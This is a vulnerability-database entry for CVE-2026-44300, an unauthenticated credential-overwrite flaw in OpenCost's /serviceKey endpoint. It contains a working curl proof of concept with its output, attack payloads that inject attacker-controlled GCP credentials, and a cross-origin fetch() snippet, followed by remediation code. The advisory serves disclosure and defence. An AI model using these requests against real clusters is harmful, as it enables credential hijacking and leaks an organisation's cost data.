{"id":"CVE-2026-44300","aliases":["GO-2026-5974"],"url":"https://o3.security/vulnerability/CVE-2026-44300","summary":"OpenCost ServiceKey Endpoint Unauthorized Credential Overwrite/Injection","details":"## Summary\n\nOpenCost contains an unauthenticated  file write vulnerability in the `/serviceKey` endpoint that allows remote attackers to overwrite the GCP service account key file without authentication. This can lead to service disruption, credential theft, and potential privilege escalation within Kubernetes clusters.\n\n---\n\n\n## Affected Versions\n\n- **OpenCost**: All versions up to and including the latest release\n- **Vulnerable File**: `pkg/costmodel/router.go` (lines 365-379)\n- **Vulnerable Endpoint**: `POST /serviceKey`\n\n---\n\n## Vulnerability Details\n\n### Root Cause\n\nThe `AddServiceKey` function in `pkg/costmodel/router.go` accepts user-supplied data via POST request and writes it directly to a file without any authentication or input validation:\n\n```go\nfunc (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {\n    w.Header().Set(\"Content-Type\", \"application/json\")\n    w.Header().Set(\"Access-Control-Allow-Origin\", \"*\")  // Overly permissive CORS\n\n    r.ParseForm()\n\n    key := r.PostForm.Get(\"key\")  // User-controlled input, no validation\n    k := []byte(key)\n    err := os.WriteFile(env.GetGCPAuthSecretFilePath(), k, 0644)  //  Direct file write\n    if err != nil {\n        fmt.Fprintf(w, \"Error writing service key: %s\", err)\n    }\n\n    w.WriteHeader(http.StatusOK)\n}\n```\n\n**File Path Determination** (`core/pkg/env/core.go`):\n```go\nfunc GetGCPAuthSecretFilePath() string {\n    return GetPathFromConfig(\"key.json\")\n}\n\nfunc GetPathFromConfig(fileName string) string {\n    return filepath.Join(GetConfigPath(), fileName)\n}\n\nfunc GetConfigPath() string {\n    return Get(ConfigPathEnvVar, DefaultConfigPath)  // Default: /var/configs\n}\n```\n\n### Security Issues\n\n1. **No Authentication**: Any network-accessible client can invoke the endpoint\n2. **No Input Validation**: User input is not validated as a valid GCP service account key\n3. **Overly Permissive CORS**: `Access-Control-Allow-Origin: *` allows cross-origin attacks\n4. **Predictable File Path**: File location controlled by `CONFIG_PATH` environment variable\n\n---\n\n## Proof of Concept\n\n### Environment Setup\n\n#### Prerequisites\n- Kubernetes cluster (tested on kind v1.30.0)\n- Helm 3.x\n- kubectl configured\n\n#### Step 1: Create Namespace\n\n```bash\nkubectl create namespace opencost\n```\n\n**Output**:\n```\nnamespace/opencost created\n```\n\n#### Step 2: Add OpenCost Helm Repository\n\n```bash\nhelm repo add opencost https://opencost.github.io/opencost-helm-chart\nhelm repo update\n```\n\n**Output**:\n```\n\"opencost\" has been added to your repositories\nHang tight while we grab the latest from your chart repositories...\n...Successfully got an update from the \"opencost\" chart repository\nUpdate Complete. Happy Helming!\n```\n\n#### Step 3: Deploy OpenCost\n\n```bash\nhelm install opencost opencost/opencost --namespace opencost \\\n  --set opencost.exporter.defaultClusterId=test-cluster \\\n  --set opencost.prometheus.internal.enabled=true \\\n  --set opencost.prometheus.internal.serviceName=kube-prometheus-stack-prometheus \\\n  --set opencost.prometheus.internal.namespaceName=monitoring \\\n  --set opencost.prometheus.internal.port=9090 \\\n  --set-string 'opencost.exporter.extraEnv.CONFIG_PATH=/tmp'\n```\n\n**Key Configuration**:\n- `CONFIG_PATH=/tmp`: Sets writable directory for file operations\n\n**Output**:\n```\nNAME: opencost\nLAST DEPLOYED: Sun Jan 18 00:39:21 2026\nNAMESPACE: opencost\nSTATUS: deployed\nREVISION: 1\n```\n\n#### Step 4: Verify Deployment\n\n```bash\nkubectl get pods -l app.kubernetes.io/instance=opencost -n opencost\n```\n\n**Output**:\n```\nNAME                      READY   STATUS    RESTARTS   AGE\nopencost-db97bbcc-5q8cb   2/2     Running   0          44s\n```\n\n#### Step 5: Verify Service Accessibility\n\n```bash\nkubectl run curl-test --image=curlimages/curl --rm -i --restart=Never -- \\\n  curl -v http://opencost.opencost.svc.cluster.local:9003/healthz\n```\n\n**Output**:\n```\n< HTTP/1.1 200 OK\n< Vary: Origin\n< Date: Sat, 17 Jan 2026 16:32:07 GMT\n< Content-Length: 0\n```\n\n### Exploitation\n\n#### Step 6: Check Initial State\n\n```bash\nkubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json\n```\n\n**Output**:\n```\ncat: can't open '/tmp/key.json': No such file or directory\n```\n\nNote: File does not exist initially\n\n#### Step 7: Verify CONFIG_PATH Configuration\n\n```bash\nkubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- env | grep CONFIG_PATH\n```\n\n**Output**:\n```\nCONFIG_PATH=/tmp\n```\n\nNote: CONFIG_PATH correctly set to /tmp\n\n#### Step 8: Execute Exploit\n\n```bash\nMALICIOUS_CONTENT='{\"type\":\"VULNERABILITY_PROOF\",\"vuln_id\":\"VUL-002\",\"timestamp\":\"2026-01-18T00:41:00Z\",\"message\":\"Arbitrary file write without authentication - SUCCESSFUL\",\"injected_by\":\"security_researcher\",\"evidence\":\"This proves the vulnerability exists\"}'\n\nkubectl run vuln-exploit --image=curlimages/curl --rm -i --restart=Never -- \\\n  curl -X POST http://opencost.opencost.svc.cluster.local:9003/serviceKey \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"key=${MALICIOUS_CONTENT}\" \\\n  -v\n```\n\n**Request Details**:\n```\n> POST /serviceKey HTTP/1.1\n> Host: opencost.opencost.svc.cluster.local:9003\n> User-Agent: curl/8.18.0\n> Accept: */*\n> Content-Type: application/x-www-form-urlencoded\n> Content-Length: 244\n```\n\n**Response Details**:\n```\n< HTTP/1.1 200 OK\n< Access-Control-Allow-Origin: *\n< Content-Type: application/json\n< Vary: Origin\n< Date: Sat, 17 Jan 2026 16:42:29 GMT\n< Content-Length: 0\n```\n\nResult: HTTP 200 OK - Request successful without authentication\n\n#### Step 9: Verify File Write\n\n```bash\nkubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json\n```\n\n**Output**:\n```json\n{\"type\":\"VULNERABILITY_PROOF\",\"vuln_id\":\"VUL-002\",\"timestamp\":\"2026-01-18T00:41:00Z\",\"message\":\"Arbitrary file write without authentication - SUCCESSFUL\",\"injected_by\":\"security_researcher\",\"evidence\":\"This proves the vulnerability exists\"}\n```\n\nResult: VULNERABILITY CONFIRMED - Malicious content successfully written to file\n\n---\n\n## Impact Analysis\n\n### Direct Impact\n\n| Impact Type | Severity | Description |\n|------------|----------|-------------|\n| **Unauthorized Credential Overwrite** | High | Attacker can overwrite GCP service account key file content |\n| **No Authentication Required** | High | Vulnerability can be exploited without any credentials |\n| **CORS Misconfiguration** | Medium | Allows cross-origin attacks via malicious websites |\n| **Fixed File Path** | Low | Attacker cannot control write location, only content |\n\n### Attack Scenario Analysis\n\n#### Scenario 1: GCP Credential Overwrite Leading to Service Disruption\n\n**Attack Steps**:\n1. Attacker sends POST request with invalid JSON or malformed GCP key\n2. `/serviceKey` endpoint accepts request and overwrites existing `key.json` file\n3. OpenCost attempts to access GCP API with corrupted credentials\n4. GCP integration fails, cost data collection stops\n\n**Technical Details**:\n```bash\n# Attack payload example\ncurl -X POST http://opencost:9003/serviceKey \\\n  -d 'key={\"invalid\":\"json\",\"corrupted\":\"credentials\"}'\n```\n\n**Impact**:\n- **Cost Monitoring Disruption**: Unable to retrieve GCP cloud cost data\n- **Operational Impact**: FinOps processes dependent on cost data are blocked\n- **Availability Degradation**: Manual intervention required to restore correct credentials\n\n**CVSS Impact Score**: Availability impact is Low (A:L)\n\n---\n\n#### Scenario 2: Malicious Credential Injection for Data Hijacking\n\n**Attack Steps**:\n1. Attacker creates their own GCP project and service account\n2. Injects attacker-controlled valid GCP credentials into OpenCost\n3. OpenCost uses attacker's credentials to send requests to GCP Billing API\n4. Target organization's cost data is sent to attacker's GCP project\n\n**Technical Details**:\n```bash\n# Inject attacker credentials\nATTACKER_KEY='{\n  \"type\": \"service_account\",\n  \"project_id\": \"attacker-billing-project\",\n  \"private_key\": \"-----BEGIN PRIVATE KEY-----\\n...\\n-----END PRIVATE KEY-----\\n\",\n  \"client_email\": \"opencost-hijack@attacker-project.iam.gserviceaccount.com\"\n}'\n\ncurl -X POST http://opencost:9003/serviceKey -d \"key=${ATTACKER_KEY}\"\n```\n\n**Impact**:\n- **Sensitive Data Leakage**: Organization's cloud resource usage patterns and cost details\n- **Business Intelligence Leakage**: Can infer business scale, growth trends, technology stack\n- **Compliance Risk**: Cost data may contain protected business information\n\n**Data Leakage Examples**:\n- Kubernetes cluster size and node configuration\n- Resource consumption per namespace (can map to business units)\n- Cloud service usage patterns (databases, storage, compute instance types)\n- Cost trends (can infer business growth or contraction)\n\n**CVSS Impact Score**: Confidentiality impact is None (C:N), but business impact is High\n\n---\n\n#### Scenario 3: Cross-Origin Attack (CORS Exploitation)\n\n**Attack Steps**:\n1. User visits attacker-controlled malicious website\n2. Malicious JavaScript sends POST request to `http://localhost:9003/serviceKey`\n3. Due to CORS set to `*`, browser allows cross-origin request\n4. User's browser acts as proxy to execute credential overwrite attack\n\n**Prerequisites**:\n- User exposes OpenCost service via `kubectl port-forward` or other means\n- User's browser can access OpenCost endpoint\n\n**Technical Details**:\n```javascript\n// JavaScript on malicious website\nfetch('http://localhost:9003/serviceKey', {\n  method: 'POST',\n  headers: {'Content-Type': 'application/x-www-form-urlencoded'},\n  body: 'key={\"type\":\"malicious\"}'\n});\n```\n\n**Impact**:\n- **User-Unaware Attack**: No active user interaction required\n- **Difficult to Trace**: Attack originates from victim's IP address\n- **Limited Exploitation Conditions**: Requires OpenCost exposed to user-accessible network\n\n---\n\n### Vulnerability Limitations\n\n**What Attacker Cannot Control**:\n- **File Write Path**: Fixed by `CONFIG_PATH` environment variable, attacker cannot modify\n- **File Name**: Fixed as `key.json`, cannot write to other files\n- **File Permissions**: Write permission is `0644`, attacker cannot escalate\n\n**Actual Attack Capabilities**:\n- **File Content Control**: Complete control over `key.json` content\n- **Unauthenticated Exploitation**: No credentials required to trigger\n- **Remote Accessibility**: Can be exploited over network (if service exposed)\n\n---\n\n### Real-World Impact Assessment\n\n| Deployment Scenario | Risk Level | Description |\n|---------------------|-----------|-------------|\n| **Cluster-Internal Only** | Medium | Requires attacker to have cluster network access |\n| **Exposed via Ingress** | High | Any internet user can exploit |\n| **Exposed via NodePort** | High | Attackers with node network access can exploit |\n| **Via port-forward** | Medium-High | Local dev environments vulnerable to CORS attacks |\n\n**Recommended Risk Rating**:\n- Default deployment (cluster-internal): **Medium**\n- Improperly exposed (public internet): **High**\n\n---\n\n## Remediation\n\n### Immediate Actions (P0)\n\n#### 1. Add Authentication\n\n```go\nfunc (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {\n    // Add authentication check\n    if !a.isAuthorized(r) {\n        http.Error(w, \"Unauthorized\", http.StatusUnauthorized)\n        return\n    }\n\n    // ... existing logic\n}\n```\n\n#### 2. Implement Input Validation\n\n```go\nfunc validateServiceKey(key string) error {\n    var keyData map[string]interface{}\n    if err := json.Unmarshal([]byte(key), &keyData); err != nil {\n        return fmt.Errorf(\"invalid JSON format\")\n    }\n\n    requiredFields := []string{\"type\", \"project_id\", \"private_key_id\", \"private_key\"}\n    for _, field := range requiredFields {\n        if _, ok := keyData[field]; !ok {\n            return fmt.Errorf(\"missing required field: %s\", field)\n        }\n    }\n\n    if keyData[\"type\"] != \"service_account\" {\n        return fmt.Errorf(\"invalid key type\")\n    }\n\n    return nil\n}\n```\n\n#### 3. Restrict CORS\n\n```go\nw.Header().Set(\"Access-Control-Allow-Origin\", os.Getenv(\"ALLOWED_ORIGIN\"))\n```\n\n### Long-term Solutions (P1)\n\n1. **Use Kubernetes Secrets**: Store credentials in Kubernetes Secrets instead of files\n2. **Implement RBAC**: Role-based access control for sensitive operations\n3. **Add Audit Logging**: Log all file write operations\n4. **Apply Least Privilege**: Minimize ClusterRole permissions\n\n---\n\n## Workarounds\n\nUntil a patch is available, implement these mitigations:\n\n1. **Network Segmentation**: Restrict access to OpenCost service using NetworkPolicies\n2. **Disable Endpoint**: Remove or disable the `/serviceKey` endpoint if not required\n3. **Monitor File Changes**: Alert on modifications to `key.json` file\n4. **Use Read-only Filesystem**: Mount config directory as read-only where possible\n\n---\n\n## References\n\n- **Vulnerable Code**: `pkg/costmodel/router.go:365-379`\n- **Environment Configuration**: `core/pkg/env/core.go`\n- **OWASP**: [Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)\n- **CWE-306**: [Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- **CWE-20**: [Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)","published":"2026-07-14T17:07:53Z","modified":"2026-07-21T19:19:21.614612775Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Go","name":"github.com/opencost/opencost","fixedVersion":"1.119.1"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/opencost/opencost/security/advisories/GHSA-wmj8-9953-vff5"},{"type":"PACKAGE","url":"https://github.com/opencost/opencost"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-21T19:19:21.614612775Z"}}